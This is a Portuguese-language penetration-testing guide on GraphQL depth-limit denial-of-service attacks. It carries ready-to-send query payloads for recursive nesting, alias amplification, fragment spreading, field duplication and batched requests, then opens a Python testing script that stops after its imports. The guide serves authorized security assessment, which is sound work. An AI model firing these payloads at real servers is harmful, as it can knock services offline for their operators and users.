Realizando Ataque de Limite de Profundidade GraphQL

Visão Geral

Ataques de limite de profundidade GraphQL exploram a natureza recursiva dos esquemas GraphQL para criar consultas profundamente aninhadas que consomem recursos excessivos do servidor, levando à negação de serviço. Ao contrário das APIs REST com endpoints fixos, o GraphQL permite que os clientes solicitem estruturas de dados arbitrárias. Quando os esquemas contêm relacionamentos circulares (por exemplo, Usuário -> Posts -> Autor -> Posts), os atacantes podem criar consultas que recursam indefinidamente, sobrecarregando a CPU, memória, conexões de banco de dados e largura de banda de rede do servidor.

Quando Usar

• Ao realizar avaliações de segurança que envolvem a execução de ataques de limite de profundidade GraphQL.
• Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
• Ao realizar testes ou atividades de auditoria de segurança agendadas.
• Ao validar controles de segurança por meio de testes práticos.

Pré-requisitos

• Endpoint da API GraphQL de destino com introspecção habilitada ou esquema conhecido.
• Ferramentas de cliente GraphQL (GraphiQL, Altair, Insomnia ou curl).
• Python 3.8+ com a biblioteca requests para testes automatizados.
• Burp Suite ou mitmproxy para análise de tráfego.
• Autorização para realizar testes de segurança no alvo.

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Técnicas Principais de Ataque

1. Ataque de Profundidade Recursiva

Quando um esquema GraphQL possui relacionamentos bidirecionais, as consultas podem referenciá-los recursivamente:

# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }

# Attack query with excessive nesting depth
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

2. Amplificação Baseada em Aliases

Quando consultas em lote são bloqueadas, os aliases podem multiplicar a mesma solicitação de campo dentro de uma única consulta:

query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id: 1) { posts { author { name } } }
  a6: user(id: 1) { posts { author { name } } }
  a7: user(id: 1) { posts { author { name } } }
  a8: user(id: 1) { posts { author { name } } }
  a9: user(id: 1) { posts { author { name } } }
  a10: user(id: 1) { posts { author { name } } }
}

3. Ataque de Propagação de Fragmentos

Fragmentos podem ser usados para construir consultas complexas e profundamente aninhadas de forma mais eficiente:

fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}

4. Ataque de Duplicação de Campo

Repetir o mesmo campo várias vezes dentro de um conjunto de seleção aumenta o processamento:

query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}

5. Ataque de Consulta em Lote

Enviando várias consultas em uma única solicitação HTTP:

[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]

Script de Teste Automatizado

#!/usr/bin/env python3
"""Ferramenta de Teste de Ataque de Limite de Profundidade GraphQL

Testa endpoints GraphQL para vulnerabilidades de limite de profundidade
enviando consultas aninhadas progressivamente mais profundas.
"""

import requests
import time
import json

…